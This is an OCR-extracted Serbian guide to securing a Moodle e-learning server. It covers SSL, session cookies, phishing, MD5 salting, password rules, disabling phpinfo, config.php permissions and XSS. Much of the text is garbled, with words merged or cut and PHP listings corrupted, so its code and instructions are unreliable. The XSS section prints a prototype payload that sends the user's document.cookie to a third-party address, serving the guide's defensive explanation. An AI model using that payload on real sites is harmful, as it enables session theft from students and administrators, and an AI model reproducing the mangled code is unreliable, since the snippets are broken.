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UVODNA RAZMATRANJA

Osnovni principi primene mera zastite ap na identifikaciju bezbednosnih pretniji.
Moglo bi se réi da je sistem za ecanje u velikoj meri izloZen istim ili veoma &him
opasnostima kao i brojne druge Web aplikacije kimosi sistemi za E-trgovinu i sl.. U
nastavku hie istaknute vaznije bezbednosne pretnje sa kogmsugen svaki administrator
sistema:

neovlageni pristup poverljivim podacima
gubljenje ili menjanje podataka
zlonamerne izmene podataka
uskraivanje usluga

softverske greske

blokiranje usluga (DoS)

Identifikacija bezbednosnih pretni je prvi korakprojektovanju adekvatne strategije
zastite. Neophodno je da budemo upoznati sa pg@bmnie opasnostima da bismo znali Sta
treba da Stitimo. Adekvatna administracija, dakikljucuje poznavanje osnovnih tehnika i
principa zastite.

1. Principi i mere zastite

Web server je po svojoj prirodi danar kome se pristupa gpoljaSneg svetée je i
rizik od neovladenog pristupa izrazito velikiPotpunu sigurnost jenemogute ostvariti.
Kriptografski metodi zastite koji su krajem XX-ogka vazili za apsolutnu sigurnost, danas
se viSe ne mogu smatrati n&ito sigurnim, te se neretko u savremenim aplikatga
primenjuju metode salting - a kako bi se usloveegbala sigurnost stenih podataka. Sa
druge strane, paZzljivim planiranjem i konfigurisemj sistema mogu se (ali sanum



odredene mere)umanijiti rizici. Visi nivoi sigurnosti ne mogu bibstvareni primenom
aplikacija otvorenog koda u njihovom izvornom ohlik

Ukoliko se planira integracija softvera za &mnje, veoma je vazan pravilan odabir
okruZzenja (servera) na kom& on biti integrisan. U nastavku su iznete nekeowse

karakteristike za tri mogee kategorije:

Infrastruktura za e-ucenje (server u sopstvenoj reziji )
£ Nepodeljena IP adresa
i SSL - sertifikat
L] Konfiguraciona podesavanja prema realnim potrebama
£d Moguénost ostvarivanja visih nivoa zastite
] Dobre performanse
B4 Niska cena

Deljeni server (Shared Host)
X Nepodeljena IP adresa
B{ Jedinstveni digitalni sertifikat
B Konfiguraciona podesavanja prema realnim potrebama
B Moguénost ostvarivanja vidih nivoa zastite
B Dobre performanse
& Niska cena

IP-based (dediacted server)

/] Nepodeliena IP adresa

L] SSL - sertifikat

B Konfiguraciona podesavanja prema realnim potrebama
B Mogucnost ostvarivanja visih nivoa zastite

X Dobre performanse

B4 Niska cena
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Slika 1. Tipovi Web Host-ova

1.1 Bezbedni Web serveri

Za bezbednu komunikaciju Stacem Weba preko SSl-a mogu se koristiti Apache,
Microsoft 1IS i razni drugi besplatni ili komercifa Web serveri. Apache se koristi pod
operativnim sistemima iz porodice Unix, i gotovoeldvje pouzdaniji, ali se malo teze
podeSava pod od 11S-a. Web server Apache mozerssikama Windowsu.

Da bi se mogao koristiti SSL na Web serveru 11Srgdmo je instalirati IS, generisati
par kljuteva (javni i privatni) i instalirati svoje sertifiite. Za upotrebu SSL-a na serveru
Apache, neophodno je instalirati paket OpenSSLdritivse da je modul mod_ssl aktivan
tokom instaliranja serverskog softvera.

Upotrebom komercijalne verzije servera Apache mag objediniti sve ove
komponente. Vé&nekoliko godina kompanija Red Hat prodaje takarzwod — pod imenom
Stronghold — koji je sada deo paketa Red Hat Engerjhinux prozvoda.



1.2. Primena SSL-a u procesu zastite integriteta etjivin podataka

Web nije bezbedno okruzenje. Otvorena priroda etz i Web protokola — TCP, IP i
HTTP — omogdila je razvijanje mnogobrojnih alatki koje mogu g@asluskuju razmenu
podataka izmdu citaca i Web servera. Lako se moze presretati sgéapra mrezi icitati
sadrzaj HTTP zahteva i odgovora.

Ovo je bio glavni razlog za kreiranje SSL protoké&ecure Soccet Layer) koji je
osmislila kompanija Netscape da bi omaubezbedne komunikacije iz Web servera
I ¢itaca Weba. On je prihvan kao nezvatini standard za razmenu poverljivin podataka
izmedu citaca Weba i servera.

Dobro su podrzane obe verzije SSL-a, i verzijav2rzija 3. Na véini web servera
SSL funkcionalnost je ugdana ili se moze ukliti u obliku dodatnog modula. Internet
Explorer i Firefox podrzavaju SSlerzije 3

Mrezni protokol i softver kojim se oni realizujubiéno su ugrdeni u obliku niza
logickih slojeva. Svaki sloj moze da prodlge podatke samo sloju iznad i ispod sebe, i da
zahteva usluge od sloja iznad i ispod sebe. Slikka2uje na taj niz protokola

Aplikacioni sloj
e ' - e Transportni sloj
_____________TF’_ _________________ —— Mrezni sloj
R :u‘g i_;::r;t;;DTi _____________ —= Sloj veze ratunara sa mreZom

Slika 2. Niz protokola koji korsti protokol aplikaoog sloja kao Sto je HTTP

Kada se podaci prosieju putem HTTP protokola, on koristi usluge TCPtpkola,
ali se ipak oslanja na IP protokol. Tom protokodunjeophodan odgovargjuprotokol za
mrezni hardver koji paket podataka pretvara u al&le signale koji se Salju na odredisSte.

HTTP je protokol aplikacionog sloja.sBgje i mnogi drugi protokoli aplikacionog
sloja kao Sto su FTP, SMTP i Teleln#fi je prikaz predstavljen na slici 2.

Sloj veze tanara s mreZzom odgovoran je za povezivanjanara s mrezom. Skup
protokola TCP/IP ne oddeje protokole koji se koriste u tom sloju bédwaa su potrebni
razliciti protokoli za razltite tipove mreza.

Prilikom slanja podataka na odredi&® se prosléuju duz niza protokola, od
aplikacije ka maéufizickoj mrezi. Kada se podaci primaju od poSiljaocaj puatuju u
suprotonom smeru, od ftkie mreze, duz niza, do aplikacije.

Kada se koristi SSL, u prethodno nawede modelu selodaje jos jedan sloj Sloj
SSL umete se izmdu transportnog sloja i aplikacionog sloja videti sliku 3. Taj protokol
menja podatke koje dobija od HTTP aplikacije prgméto ih prosledi transportnom sloju
koji podatke Salje na odrediste.



SSL protokol za prenos ——=e Aplikacioni sloj
TCP - SSL sloj
IP ——= Transportni sloj
Veza radunara s mrezom ——e Sloj veza raéunara sa mreZom
Slika 3.

SSL je u stanju da obezbezrhSticeno okruzenje zarazmenu podatakai pomaiu
drugih protokola osim HTTP-a. Upotreba drugih pkoila je mogda zato Sto je SSL
prakti ¢no nevidljiv. Protokolima koji se nalaze iznad njega SSL glogdstavlja isti
interfejs kao transportni sloj ispod njega. Na owafin je omogdeno da se operacije
uspostavljanja veza&jfrovanja i deSifrovanja podataka odvijaju potpuno neprimetno.

Kada se pono protokola HTTRita¢ Weba povezuje sa zashim Web serverom,
oni se poméu posebnog protokola za uspostavljanje veze ,daggvakako ¢e obauviti
poslove kao Sto su identifikovanje korisnika i difanje podataka.

Moguce je podesiti Moodle sistem da radi pod rezimom -8Sh uklj&ivanje ove
moguenosti se obavlja u okviru opcij¢dT TP Security, videti sliku 4.

U dijaloSkom okviru je potrebno selektovati opgjjuse HTTPS for logirfs Ovim je
omogueno da se pri svakom pristupanju kor$tiTPSprotokol, a po uspesSnom pristupanju
u sistemi izvrSi i redirektovanje na standardni HPT@rotokol.

Pri izboru ove opcije treba strogo voditicuma o tome da server podrzava SSL
protokol, usuprotnom ne vrsiti izmene!

Moodle u sebi ima opciju koja poziva f-ju php_intp¢ime je mogde utvrditi da li je
integrisana podrSka za SSL, utvrditi tip, ali i gewzn&ajne karakteristike servera.

*Napomena: nije prepoorucljivo ostaviti noguénost pozivanja f-je php_info();
Naci n oneonpgucavanj a pri kaza je dat u odel j ku xx.




Use HTTPS for logins

Tuming this on will make Moodle use a secune Mips connection just for the login page (providing a
secure loging, and then afterwands reved back fo the nommal hitp URL for general speed. CALUTION
this setting REQUIRES hitps to be specifically enabled an the web senver < if d is not then YIOU
COULD LOCK YOURSELF OUT OF YOUR SITE

Securi cookies only

If server is accepling ondy hilps connections A is recommended to enable sending of secure
cookies, Henabled please make sure that web server is not accepling hitp:/f o sel up parmanen
redirection to httpelf address. When wwweoot address does nod stamt with Fips: this zelling is
tumed of automatically

Only hitp cookies B

Enables new FHF 5.2.0 feature - browsers are instructed to send cookie with real hitp requests
only, cookies should not be accessible by scripting languages. This is not supported in all browsers
and it may not be fully compatible with cument code. It helps to prevent some types of XS5 attacks

Required Flash player [100012

version
Sorne versions of the Adobe Flash plugin am known to be vulnerable 1o aftacks from malicious Flash

content, You can specify a minimum supported version here, and Moodle will nol show Flash files 1o
users with lwer warsions, Instead they will see an allernate Flash file telling them how to upgrade
Leave this emply to disable all checks

Slika 4. HTTP sigurnost

Da bi se bolje razumela uloga pomenute opcije nedpb je interpretirati proces
komunikacije izméu Webcitaca klijenta i servera. U trenutku uspostavljanjaevea Moodle
sistemom Koji je sada zastena lokacijg, SSL protokol izvrSava sleée korake:

1. UsaglaSava se Sifrarski pakefita¢ klijenta i server Moodle sistema vrse
identifikovanje verzije SSL-a koju oba podrzavajli.tom procesu bira saajjaci
Sifrarski paket koji takaie oba sistema podrzavaju.

2. Server Moodle ¢ita¢ klijenta sada razmenjujtajni klju €. Citaé potom generi$e
tajni klju¢ koji se asimetricno Sifruje pomau serverovog tajnog klfia. Server
jedino moZe da sazna vrednaajnog klju ¢a tako Sto ga deSifruje privatnim k&em.
Red je o fazi razmene kijteva.

3Cita¢ utvrduje tatan identitet servera tako $to ispituje njegov X.5digitalni
sertifikat. Citacima je ¢esto prikljena lista sertifikata koje su izdale ovdese
organizacije YeriSigni dr.), a identitet servera se ispituje u pozadiez intervencije
korisnika.

4. Server utwuje taan identitet klijenta tako Sto ispituje njegov X%5@igitalni
sertifikat. Ovaj korak nije obavezan i zahteva d&aks korisnik ima svoj digitalni
sertifikat.

Treba napomenuti da je pomenuti proces usaglasayakp spor i kada bi on morao da se
obavlja za svaki HTTP zahtev koji je wgaun korisnici bi vrlo verovatno napustili takav sist
za wenje. U svakom stiaju nemogde je negirati njegove korisne strane.



2.Uloga sesija i koldica

HTTP protokol necuva stanje sesije. To ztiada u ovom protoku nema magosti da se
tekute stanje sesije &ava izmeu dve transakcije.

Kada korisnik zahteva odtenu stranicu, a potom uputi joS jedan zahtev, HHéP
omoguiava da se utvrdi da li su oba zahteva doSla od lstasnika.

Osnovna ideja upravljanaja sesijaméejes omogéi pracenje odrdenog korisnika
tokom cele njegove sesije na Web lokaciji. Po oywimcipu je i kreirana aplikativna logika
Moodle sistema, prtemu je omogéeno: prijavljivanje korisnika u sistem, ali istokta
omogueno je i upravljanje brojnim drugim ,procesima‘inie je obezbé&eno da korisnik
moZze upravljati procesima (recimo azuriranje Wikase), ali i da na kraju odustane. U tom
sistemu kreira se sesija i privremeneno beleZzenasd ali se te vrednosti ne beleZze u bazu,
jer bi na taj n&in baza ubrzo postala prepuna nedovrSenih oper@a|anicnih podataka).

Bez obzira da li jed® sesiji ili kol&i¢ima princip rada je veoma &in. Svakoj PHP
sesiji se dodeljuje nasuémo generisan Sifrovan broj koji generiSe identifttasesije icuva
ga naklijentskom raéunaru sve dok traje sesija. Tet®l sesije je modie videti u zavisnosti
od vrste Welgitaca. Za Mozillu je to opcija: Tools> Page info > Security- >Wiev Cookies,
ali se isto tako identifikator moze smestati nigeltski ra&unar u obliku kolgi¢a (u sl¢aju
Moodle arhitekture) ili prost#vati unutar URL-a.

Kolgic¢i predstavljaju kratak blok podataka koje skriptmmesStaju na klijentske
racunare. Ako se koristi SSL, rezervisana secure zna dace i vrednost ovog kratkog bloka
podataka biti prostiena kriptovanim kanalom. Ukoliko se ne koristi opaptokol podaci se

globals i XSS napadi & detaljnije predstavljene neki od metodaikr&olaica i sesija.

3. Zastita od phishing -a

Moodle sistem mora biti zatvoren za pretrazivée! Ukoliko bi bio podeSen suprotno,
neobazrivi korisnici koji imaju naviku da koriste oGgle ili druge pretrazivke
direktorijume, mogli bi upotrebom kiuaih re&ii do¢i u okruzenje fishing sajta koji bi imao
kratak opis kao i prava obrazovna institucija iggle potpuno isto i sadrzao iste informacije
kao i registrovana obrazovna institucija. Takvit®aj su modifikovani kako bi prikupili
informacije za pristup prilikom autentifikacije kenika /administratora. Login skriptabi
umesto komparacije vrednosti koristeéi operatore poredenja unetih vrednosti sa
vrednostima u bazyrSila drugaéiju funkciju: prikupljanje i belezenje podataka i | ozinki
u bazu. Prikupljeni podaci bi se mogli korstiti za priptma zvaninom sistemu za ec¢anje
odreiene obrazovne institucije.

Odrbarana od ovakvih sistema koji navagu bezbednost bi se sastojala u sleae

Oneosposobljavanje opcije otvorenosti sistema zagirazivacke direktorijume
Upotreba digitalnih sertifikata
Edukacija korisnika

wn PR

1. Zatvaranje sistema za pretrazigase vrsi u okviru (Administracija > bezbednost >
pravila sajta), Opcija ,,Otvoren za Google" ne snitedelektovana.



Ottvoren za Google

Ukoliko ukliuCite ovo podedavange, onda Ce Google-u bili oroguéana da ulazi na Vad sajt kao QoL Cisim toga ljudi koji na Yad sajt
budu dalazili pogredstvom Google pretraga automatski de biti prijaddjeni kao gosti. Napomena: ovo omogudaa prstup samo onim
kursevima koji | inafe dozvoljavaju pristup sa nalogom za gosta

wwnw sasastamenkovic .com

Slika 5.

2. Digitalni sertifikati predstavljaju digitalnu dnu kartu kompanije / obrazovne
institucije kojima se utvduje identitet onoga ko se predstavlja na Internebd
odreienim imenom. Ovo vrl@esto iziskuje velike finasijske troSkove na gocde$m|
planu, ali je jedini n&én da se utvrdi identitet.

3. Edukacija korisnika ukljtuje prenos osnovnih bezbednosnih znanja po pitanju
pravilne upotrebe sistema:

» ne koristiti Google pretrazieza pristupanje sistemu,
= proveravati identitet pregledom digitalnog sertti&
= proveravati adresu u search baru Wigsca i sl.

4. Kriptografski metodi (MD5 i Salt)

Belezenje lozinki vrSi se u okviru tlbeusers”. Kriptovanje se vrSi kombinacijom
primene jednosmerne hes funkcije koja dira ulazni tekst u 512-bitnim blokovima koji su
podeljeni na Sesnaest 32-bitnih blokova. Izlazlgo@ma je skup odetiri 32-bitna bloka
koji se nadovezuju da bi formirali jednu 128-bitmes vrednost.

Na he$S se dodaje i Salt proizvoljne duzimec (je o string-) koja se u novijim
verzilama Moodle sistema automatski generiSe urakskripte config.php pri instalaciji
sistema.

Mogwa je i izmena Salta, a postupak menjana podrazumasiEavanje ptasnjeg
stringa i unosom novog:

$CFG->passwordsaltaltl 'stari string';
S5CFG->passwordsaltmain = 'novi string';

Slika 6. Saltmain

U skorije vreme se @elo dovoditi u pitanje sigurnost MD5 algoritma. kpaveliki
broj aplikacija, pa i Moodle ga i dalje koriste. dilju povetanja sigurnosti sistema, treba
uvetati slozenost lozinke koja moze biti jedini spas.

PodeSavanje sloZenosti vrSi se u okviru ,napredndjstva“ predstavljenih na slici.



Pravilo za Sifte ™ Podrazumevana viednost: Da

Ukljugivanje ove opcije €e omoguciti da Moodle proverava korisnicke lozinke u skladu sa vaZecim pravilima za kreiranje lozinki.
Karistite podefavanja ispod da biste specificirali svoja pravila {ona ce biti ignorisana ako ovu opciju postavite na ™e’).

DuZina Sifre

7

Lozinke moraju da sadrie najmanje ovoliko karaktera.

Birojevi

|

Lozinke maoraju imati najmanje ovoliko brojeva.

hala sloba
minp asanard|over

7

Lozinke moraju da sadrie najmanje owolika malih slova.

Welika slova

npasanardup

7

Lozinke moraju da sadrie najmanje ovoliko velikih slova.

Me-alfanumericki karakteri

I

Fodrazumevana wrednost: 1

Lozinke moraju da sadrie najmanje owoliko ne-alfanumerickih karaktera.

Redosledni identiéni
karakteri

|

Loginke ne smeju imati vife od ovog broja istatvetnih karaktera za redom. Upatrebite O kako biste iskljuiki owo opciju

Slika 7. Napredna svojstva Moodle-a

SloZzenost lozinke mozZe uadi sigurnost podataka, Sto uldjye odgovarajéu
duzinu, kombinaciju brojeva, velikih i malih slovalJfanumertkih karaktera. Sve su to
moguenosti kojima se moze upravljati iz administratorxsistema.

5. Administranje sistema

5.1 Sta ne bi trebalo da se nalazi na aplikativnorsloju

Kao Sto je Veistaknuto u odeljku o SSL-u, nije prepdliivo ni iz kog razloga
omoguiti prikazivanje f-je phpinfo(); koja pruza detagjninformacije o PHP-u, &au
konfiguracije, verzije servera, itd..

Moodle, prema podrazumevanim podeSavanj nakon instalacije omogava
administratoru da se u svakom trenutku informiSpasametrima koje generiSe ova f-ja.
Medutim, njihovo prikazivanje, uslovno, moze biti veammiskantan potez u pojedinim
slicajevima.

Zato je prepoéliivo oneomoguiti prikaz pomenutih parametara. Moodle 2.0+ nema
integrisanu opciju koja bi sa aplikativhog slojeelavovu vrstu restrikcije, mada takva opcija
ne bi ni bila od velike koristi u odtenim situacijama kada je bezbednost ugrozena.
Upravo iz ovog razloga je potrebno izvrSiti manoghodeSavanje direktno u izvornom kodu.

Skripta pod imenom phpinfo.php se nalazadmin direktorijumu. Nju je sada
potrebno otvoriti u pomi tekstualnog editora, a potom korigovati komaniimge pocev od
12-e unosom viSerednog komentéara*/ zakljutno sa 17-om komandnom linijjom. Na ovaj
nain je PHP procesoru je naloZzeno da sted#ok koda tretira kao viSeredni komentar,
odnosno da ignoriSe njen sadrzaj.



Del i mi ¢ni prikaz skripte phpinfo.php
12
13
14
15
16
17
17 echo '<hl>0Ova opcija je oneomogucena'</hl>';

Na 17-oj komandnoj liniji je nadodata naredba ekbja sada nas kao administratore u sloju
Web¢itaca treba dgpodsetida smo oneomodgili prikaz funkcije php_info();.

Cel okupni pri kaz nodifi kovane skripte phpi nfo. php

1 <?php

2 // phpinfo.php - shows phpinfo for the current server
3

4 require once("../config.php");

g require once (5CFG->libdir."'/adminlib.php');

6

7 admin externalpage setup('phpinfo');

8

] echo SQUTPUT->header () ;

10

11 echo '<div class="phpinfo">';

12

13

14

15

16

17 /

17 echo '<hl>0Ova opcija je oneomogucena!</hl>';

18 / Le from outg

19 Shtml = preg replace('# (\n?<style[*>]*?>.*2</style[">]*2>} | (\
20 n?<style[*>]*?/>)#is', '', S$html);

21 $html = preg replace('# (\n?<head[*>]*7?>. *?</head[*>]*?>) | (\
29 n?<head[*>]*?/>)#is', '', 5html);

23 / Le ICTYPE 1tput

24 Shtml = preg_replace('f<!DOCTIPE html PUBLIC.*?>/is', '',
25 $html) ;

26 i elet body ar html tags

27 Shtml = preg_replace('/<html, *?> *?<body.*?>/is', '', $html);
28 S$html = preg replace('/<\/body><\/html>/is', '', $html);
29

30 echo S$html;

31

3z echo '</div>';

33

34 echo SOUTPUT->footer () ;

5.2. Dodeljivanje atributa i migracija config.php-a



Nakon regularne instalacije Moodle sistemaebgenerisarconfig.php Ova skripta
sadrzi sve one podatke koje smo uneli prilikom ldeleanja baze, korisnika, i drugih
osetljivih vrednosti tokom intalacionog procesa.i @odaci se sada nalaze u pomenutoj
skripti u okviru public_html foldera na Web serverato ih treba zastiti od mogh izmena.

Podrazumevana podeSavanja dozvoli za config.phpsetovana na numekiu
vrednost0777, (koja omogdava Read, Write, Execute na svim nivogimsto svakako
prevazilazi realne potrebéak do te mere dazbiljno ugroZzava bezbednostcelokupnog
sistema.. Znatno prikladnija podeSavanjadupu na numetiku vrednos0400(--r-------- ).

Napomena:PodeSavanja dozvola se ne odnose i8kifuna config.php vé&i na druge skripte
| foldere. U zavisnosti od vrste servekadgti sliku xx. Komparativna analiza karakteristik
servera, odeljak: principi i mere zaSjtaa kome je pokrenut sistem za &nje, zavisie i
podeSavanje dozvoli. U idealnim uslovima one tréadbudu ograene na nuzni minimum
neophodan za funkcionalnost aplikacije i procesakva@ praksa se ne moze primenjivati u
svim situacijama, pa tako, npr., kod nekih Sharedvesa je jedina opcija 777 za
direktorijume i 666 za fajlove. Time je zZtegno ugrozena sigurnost sistema, ali pod takvim
okolnostima to je jedina opcija.

U daljoj interpretaciji bie istaknut jedan od mogh naiina izmene atributa za
config.php, ali i drugih skripti ili foldera na ulfenom Web serveru.

Neophodan je odgovardjuftp klijent koji moze obavljati ovu opercacijuedan od
cesto primenjivanih Cross Platform klijenata ovqeatjeFile Zila ver. 3.3.5.1.

Ovaj klijent se lako podeSava i nudi Sirok spektarguwnosti. Moze se koristiti na
Unix-u ili Win.

Menjanje dozvola je predstavljeno na slici. Re je o konekciji sa udaljenim
serverom.
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Slika 9. Dodeljivanje atributa

Na ovaj n&in config.php se viSe ne moze menjati sa aplikatyvsloja, ali se i dalje
mozecitati, Sto je i viSe nego dovoljno da bi se naesisizastite postavio veliki znak pitanja
(bez obzira na to Stée Moodle aplikacija - opcija zpregled sigurnostiprijavljivati da je
ovime zadovoljenopitanje sigurnosti).

Postoji jedna opSta preporuka da u okviru korensttiogktorujuma (javnog) ne bi
trebalo da stoji niSta Sto bi moglo da ugrozi ined) i bezbednost servera, baze i same
aplikacije. Skripta config.php sadrzi sve Sto jelovas pomenuto. Nazalost, Moodle
aplikacija je projektovana tako da se ova skripgédazi u korenskom direktorijumu. lako
postoji veliki broj misljenika da se php skripte megu videti u Welitacima (jer je php je
serverski orijentisan skript jezik), ipak postopratene tehnike kojima bi mogao da se iz&ru
sadrzaj php koda tako da bude prikazan i na ¥itatu.

Preporduljivo je izmeStanje osetljivih podataka vgvublic_html-a. IzmeStanje
config.php-a i drugih skripti zahteva nesSto obirangmene u kodu, jer je struktura aplikacije
tako osmisljena da se ne moze prosto upotrebiéidier include(../../../config.php); u kojoj bi
bilo sadrzano formiranje klase i promenljivih zank&tovanje sa bazom, ne ukdjyuci
pozivanje skripte setup.php iz biblioteke funkcier, ovim n&inom pojedini moduli ne bi
funkcionisali pravilno. Ipak, sve ovo je maguizvesti uklj@ujuéi i izmenu destinacije za



backupcime bi aplikacija poprimila znatno viSi nivo sigwsti. Meiutim, to iziskuje dosta
vremena.

5.3. Modifikovanje Index.php fajla

Pri radu sa modernim Open source aplikacijama pos&onvencionalno sigurnosno pravilo
koje kaze da nakon instalacije softvera treba isalirinstalacione skripte i promeniti naziv
admin foldera. Moodle ne primenjuje ovu metodolegAhdministratori sa najviSim pravima i
gosti sa minimalnim privilegijama se prijavljuju mstoj login stranici. U tom smislu se ne
moze winiti niSta bez primene korenitih mera koje bi pamlrmevale promenu celokupne
strukture autentifikacije korisnika. Ni brisanjestalacionih skripti nije uzeto kao model u
slieaju Moodle sistema. Ipak, config.php kao i kodime drugih sknih sistema za eéenje
sadrzi podatke o kojima je &éilo reci.

To bi se moglo okarakteristati kao veliki problger, ukoliko se obriSe config.php, naredba if
na drugoj komandnoj liniji u skripti index.phie izvrSiti svoju funkciju. Njena uloga je da
proveri d, ukoliko nije istina da postoji skriptardig.php, izvrSava se naredni blok koda koji
poziva skriptu instal.php.

U cilju onemogiavanja ponovne instalacije, treba modifikovati fcifpk header (); unosom
jednorednog komentara, kako bi smo mogli da je ponoklju¢imo kad nam zatreba, a
umesto nje formirati prikladnu informaciju o gresti oznaku, primenom naredbe echo
(‘komentar’); na narednoj liniji.

ff-<?php x\
if {!file_exists{'.Icunfig.php'}} {
//header ('Location: install.php'}:
aecho ('Greska u sektroru konfiguracije sistema.
Molim kontaktirajte administratoral'):

die;
}
require once (‘'config.php'};
require_once ($CFG->dirrcot .'/course/lib.php')
require_once ($CFG->libdir .'/filelib.php'}:

redirect if major_ upgrade required(}:

if (SCFG->forcelogin} |
require login(}:

} alse {
user accesstime log():

}

SPAGE->set_url('/'}:
SPAGE->set_course ($SITE) ; AHJ

h

ViSe detalja o obradama greSaka u odeljku Rrikazivanje greSaka




6. Register Globals i XXS napadi

Jedan od n&e&ih vidova napada na savremene Web aplikacije kageSMoodle su
takozvani XXS napadi (Cross-site scripting) ¢Re o tehnici koja je zasnovana na umetanju
JavaScrit koda u razlte submit forme koje bivaju preneSene do baze doetoPOST u
odreienu kolonu tabele...

Ukratko, korist primene ovakvih metoga onoga ko vrSi napad su usmerene u
izvrSavanju odréenog koda Java skriptéme se menja SQL iskaz, a time i probija sistem
autentifikacije ili drugih mehanizama implementitanu svojstvu zastite aplikacije ili
podataka ...

Jedan od tignih primera XSS napada kojima su podloZnije stadezije moodle sistema su
se odnosile na umetanje JavaScrpt-e u sektoru @l blogova (‘/blog/edit.php’) sa
zlonamernim unosom naslova (‘etitle’ parametrom)jirk je mogu¥e uneti JavaScript i
HTML kod unutar aplikacije. lzvrSavanje koda ima m&=zultat da prosledi informacije o
aktivnim sesijama korisnika / administratora. U taeku, bte predstavljen prototip
JavaScript koda. Ovaj kod prodlge kol&ice bilo kog korisnika ko pristupi blog sekciji na
adresu udaljenog (third-party) Web sajta - vidékiu xx.

= M
PR i'-l'.i"l.'r\:':':-. .
oy SASAS
'ﬂscript}lncatinn=‘http:!Himnlnkacija.xxx!x.php?‘+dncumnnt.ccckia{facriatﬁh

S T
5;55. =

copyright & e

Identifikator sesije (D) = BM3F44TJLIDISIY

Klijent

Napadac Copyright © www.sasastamenkovic.com

Slika 11. Proslkéivanje ukradene sesije na third-party sajt

Nasuprot ovom modelu postoje i drugi vidovi nap&adgi podrazumevaju prisluskivanje
klijenstke strane. U ovakvom modelu klijentu sguséihkovi nage&e putem mail-a. Kada
klijent klikne na link nakon ¢&itavanja stanice, skriptée takale obaviti preuzimanje
vrednosti unutar sesije. Prototip je dat u nastavideti sliku xx.
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Slika 12. Prisluskivanje sesije

6.1. Dodatni mehanizmi zastite

Jedan od primarnih mehanizama zastite koje préparwd velikog broja uticajnih
stritnaka u oblasti Web programiranja @pje na deaktivaciju direktive register_globals.

Jos jedna potvrda ovoj tvrdnji se odnosi na samhitekturu novije verzije Moodle
sistema za edéenje kod kojih je teziSte aplikativne logike zasao@w na primeni



superglobalnih nizova_pPosT, i $_GET, koji se mogusmatrati priblizno komotnim za rad
kao i oslanjanje naegister_globalstim Sto su superglobalni nizovi znatno sigurniji.

PodeSavanje direktive treba podesitimayi st er _gl obal s = of f

7. Ostale strategije zastite

= oneomogtavanje Guest login-a,

= postavljanje upisa na sve kurseve,

= brisanje opcije pogtanja prvog slova lozinke kursa,

= deaktivirati u podeSavanjima php.ini XML-RPC bilté&u ukoliko je aktivirana, jer
takade poseduje izvesne bezbednosne propuste, bez obzioasto je programeri
Moodle-a preporéuju!

= backup-ovanje kurseva, podataka o korisnicima aatdpredugo u “backup”
direktorijumu i uopSte na Web servru.

7.1. Prikazivanje greSaka

Moodle je softver otvorenog koda. Na njemu svakedperadi veliki broj razvojnih
inZenjera, koji ulazu velike napore da napiSu kol je funkcionalan i siguran. Moglo bi se
re¢i da je izvorni kod Moodle sistema sigurniji od ikelg broja istih ili slénih aplikacija na
trziStu. Metutim, bez obzira na zalaganje programera, greskistemu su uvek moga. Ne
postoji savrSen kod koji nema gresSaka.

PHP omogtiava prikazivanje prirode greSke koja programerimazenpomoi u
procesu razvoja aplikacije da dobiju odgovatgjieedback na osnovu koga bi mogli da
utvrde koja komandna linija je uzrok greSke i remavu nje obave odtene korekcije.
Medutim, ta opcija moze biti uzrok velikih problemacage omogéi na radnom serveru na
kome je pokrenut Moodle. Tako, ukolikoddo greSke, na osnovu njene prirode posratra
moze stéi uvid u strukturu koda, a na osnovu toga i printierdraienu strategiju napada na
sistem. Zato je prepotliivo onesposobiti direktivu za prikazivanje greaak
(di spl ay_errors), a umesto toga pojedine izuzetke obraditi na lpmsendin (interni) koji
bi samo administrator ili razvojni iZzenjer mogaaumeti.

Ve¢ je bilo re&i o jednom prostom r@nu obrade greSaka kada je biloCire
korigovanju index.php skripte u cilju sg@evanja ponavljanja instalacionog procesa i to
upotrebom najprostije echo naredbe. Ipak, moguosistki znatno slozZeniji koncepti obrade
izuzetaka koje korisnik definiSe. Moodle aplikaggaprojektovana tako da pokriva veliki broj
moguwih greSaka na svojstven dia bez obzira na onemo¢avanje direktive za prikaz
greSaka u php.ini-u. Ista tako, za postizanje v&gdurnosnih nivoa, obradu greSaka treba
modifikovati tako da one poprime interni karakter.
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